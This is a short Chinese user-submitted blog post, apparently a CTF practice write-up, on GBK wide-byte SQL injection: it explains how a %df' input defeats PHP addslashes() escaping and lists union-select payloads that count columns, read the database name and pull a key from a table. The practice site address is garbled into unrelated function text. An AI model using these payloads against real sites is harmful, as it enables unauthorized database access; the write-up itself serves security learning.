宽字节注入解析(sql注入宽字节注入)

网友投稿 343 2022-10-10


宽字节注入解析(sql注入宽字节注入)

在一个CTF练习的网站,看到了一个宽字节注入的题目,我是一个web萌新,没什么经验,一开始也没有想到是宽字节,还是一位朋友给我提到的,让我猛然大悟,咳咳。。。做一些总结。

练习题目网站地址:mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。实现过程:当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉“運’”,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。我们就以网站的题目测试一下:

出现了报错信息,因为构成的语句中会多出一个单引号。例如查询语句为:

$name=addslashes($_POST[‘name’]) Select * from user where name=’$name’

将我们的%df’传递进去就变成了:

Select * from user where name=’%df\’’

这样我们的单引号和前面的闭合,多出一个原来的单引号,报错。3、查询字段数:

%df’ order by 2 %23

%df’ union select 1,database() %23

5、接着根据题目提示,给出了表名和字段名,可以直接查询字段内容

%df’ union select 1,string from sql5.key where id=1 %23

个人见解


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:BBC/CNN报道:欧洲以创纪录的50亿美金罚款谷歌(谷歌将被法国罚5亿欧元)
下一篇:java实现对excel文件的处理合并单元格的操作
相关文章

 发表评论

暂时没有评论,来抢沙发吧~